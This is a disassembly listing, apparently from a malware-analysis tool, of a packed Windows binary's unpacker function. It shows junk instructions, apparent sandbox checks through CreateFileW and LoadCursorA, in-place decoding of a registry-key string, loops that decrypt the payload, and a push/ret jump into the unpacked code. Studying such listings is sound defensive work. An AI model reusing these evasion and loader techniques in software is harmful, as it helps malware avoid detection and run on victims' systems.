Function at 0x42c0b0
Capabilities:
Packed with generic packer

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x214
push esi
mov dword [0x42e304], 0x8e
mov dword [0x42e304], 0x8e
mov dword [0x42e304], 0x8e
mov dword [0x42e304], 0x8e
mov dword [0x42e304], 0x8e
mov dword [0x42e304], 0x8e
mov ecx, dword [ebp + 8]
mov dword [0x42e318], ecx
mov dword [0x42e304], 0x8e
mov dword [0x42e304], 0x8e
mov dword [0x42e304], 0x8e
mov dword [0x42e304], 0x8e
mov dword [0x42e304], 0x8e
mov dword [0x42e304], 0x8e
mov dword [0x42e304], 0x8e
mov dword [0x42e304], 0x8e
mov dword [0x42e304], 0x8e
mov eax, dword [0x42e318]
and eax, 0xffff
je 0x42c171
mov dword [0x42e30c], 0
jmp 0x42c17b
mov dword [0x42e30c], 1
cmp dword [0x42e318], 0
jne 0x42c18e
mov dword [0x42e30c], 0
call section..text
add eax, 0x51615
mov dword [0x42e314], eax
mov dword [ebp - 0x20c], str.44444444444444444444444444444444444444444
mov dword [ebp - 0x214], 3
push 0
push pe_nt_image_headers32
mov ecx, dword [ebp - 0x214]
push ecx
push 0
push 3
push 1
mov edx, dword [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0xffffffff
je 0x42c1f4
cmp dword [ebp - 0x210], 0
je 0x42c1f4
mov eax, 0x42
jmp 0x42c552
mov eax, dword [0x42e314]
push eax
call fcn.0042c560
add esp, 4
mov dword [0x42e31c], eax
mov ecx, dword [0x42e31c]
push ecx
call fcn.0042c580
add esp, 4
mov dword [0x42e320], eax
mov dword [0x42e324], 0
mov dword [0x42e328], 1
cmp dword [0x42e30c], 0
jne 0x42c24b
push 0x1019
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
or eax, eax
je 0x42c24b
int 0x16
mov edx, dword [str.softwareclassesjjjerface0000061f_0000_0010_8000_00aa006d2ea4proxystubclsid]
mov byte [edx + 0x11], 0x49
mov eax, dword [str.softwareclassesjjjerface0000061f_0000_0010_8000_00aa006d2ea4proxystubclsid]
mov byte [eax + 0x12], 0x6e
mov ecx, dword [str.softwareclassesjjjerface0000061f_0000_0010_8000_00aa006d2ea4proxystubclsid]
mov byte [ecx + 0x13], 0x74
mov edx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [0x42e32c], edx
cmp dword [0x42e30c], 0
jne 0x42c2a0
push 0x42e324
mov eax, dword [str.softwareclassesjjjerface0000061f_0000_0010_8000_00aa006d2ea4proxystubclsid]
push eax
mov ecx, dword [0x42d07c]
push ecx
call dword [0x42e32c]
or eax, eax
je 0x42c2a0
sub eax, eax
jmp 0x42c552
mov edx, dword [0x42e31c]
mov dword [0x42e330], edx
mov dword [0x42e334], 0x23c912
mov eax, dword [0x42e334]
sub eax, 0x23c912
mov dword [0x42e334], eax
mov ecx, dword [0x42e334]
mov dword [0x42e338], ecx
mov edx, dword [0x42e334]
cmp edx, dword [0x42e31c]
jae 0x42c364
mov eax, dword [0x42e330]
push eax
mov ecx, dword [section..data]
push ecx
call fcn.0042c5b0
add esp, 8
mov dword [0x42e33c], eax
mov edx, dword [0x42e33c]
push edx
mov eax, dword [0x42e314]
add eax, dword [0x42e338]
push eax
mov ecx, dword [0x42e320]
add ecx, dword [0x42e334]
push ecx
call fcn.0042c6b0
add esp, 0xc
mov edx, dword [0x42d004]
add edx, dword [section..data]
add edx, dword [0x42e338]
mov dword [0x42e338], edx
mov eax, dword [0x42e334]
add eax, dword [section..data]
mov dword [0x42e334], eax
mov ecx, dword [0x42e330]
sub ecx, dword [0x42e33c]
mov dword [0x42e330], ecx
jmp 0x42c2d1
mov edx, dword [0x42e31c]
push edx
mov eax, dword [0x42e320]
push eax
call fcn.0042c5f0
add esp, 8
mov dword [0x42e340], ebp
push 0x5b000
call fcn.0042c580
add esp, 4
mov dword [0x42e344], eax
mov dword [0x42e324], 0
mov ecx, dword [0x42e324]
mov dword [0x42e334], ecx
mov edx, dword [0x42e324]
mov dword [0x42e338], edx
call fcn.0042c070
mov eax, dword [0x42e314]
push eax
call fcn.0042c560
add esp, 4
mov dword [0x42e31c], eax
mov ecx, dword [0x42e31c]
push ecx
call fcn.0042c580
add esp, 4
mov dword [0x42e348], eax
mov edx, dword [0x42e31c]
mov dword [0x42e330], edx
mov eax, dword [0x42e334]
cmp eax, dword [0x42e31c]
jae 0x42c47e
mov ecx, dword [0x42e330]
push ecx
mov edx, dword [section..data]
push edx
call fcn.0042c5b0
add esp, 8
mov dword [0x42e33c], eax
mov eax, dword [0x42e33c]
push eax
mov ecx, dword [0x42e314]
add ecx, dword [0x42e338]
push ecx
mov edx, dword [0x42e348]
add edx, dword [0x42e334]
push edx
call fcn.0042c6b0
add esp, 0xc
mov eax, dword [0x42d004]
add eax, dword [section..data]
add eax, dword [0x42e338]
mov dword [0x42e338], eax
mov ecx, dword [0x42e334]
add ecx, dword [section..data]
mov dword [0x42e334], ecx
mov edx, dword [0x42e330]
sub edx, dword [0x42e33c]
mov dword [0x42e330], edx
jmp 0x42c3eb
mov eax, dword [0x42e31c]
push eax
mov ecx, dword [0x42e348]
push ecx
call fcn.0042c5f0
add esp, 8
mov edx, dword [0x42e320]
mov eax, dword [0x42e348]
mov dword [edx], eax
mov ecx, dword [0x42e320]
push ecx
mov edx, dword [0x42e344]
add edx, 0x200
push edx
call fcn.0042c090
add esp, 8
call fcn.0042c080
mov dword [0x42e34c], eax
mov eax, dword [0x42e344]
sub eax, dword [0x42e34c]
push eax
mov ecx, dword [0x42e344]
push ecx
mov edx, dword [0x42e348]
push edx
call fcn.0042c850
add esp, 0xc
mov eax, dword [0x42e344]
add eax, 0x287d2
mov dword [0x42e350], eax
mov ecx, dword [0x42e350]
sub ecx, 2
mov dword [0x42e350], ecx
mov dword [0x42e354], 0x42c720
mov ecx, ecx
mov ecx, ecx
mov ecx, ecx
pushal
popal
mov ecx, ecx
nop
nop
mov ecx, ecx
mov ecx, ecx
mov ecx, ecx
nop
nop
mov ecx, ecx
mov ecx, ecx
nop
nop
mov ecx, ecx
nop
nop
mov eax, dword [0x42e354]
push 0x67658
mov esi, esi
mov eax, dword [0x42e354]
push esi
pop esi
push edi
pop edi
mov ecx, esp
nop
nop
mov dword [ecx], 0
add dword [ecx], eax
nop
nop
ret
pop esi
push ebp
pop esp
pop ebp
ret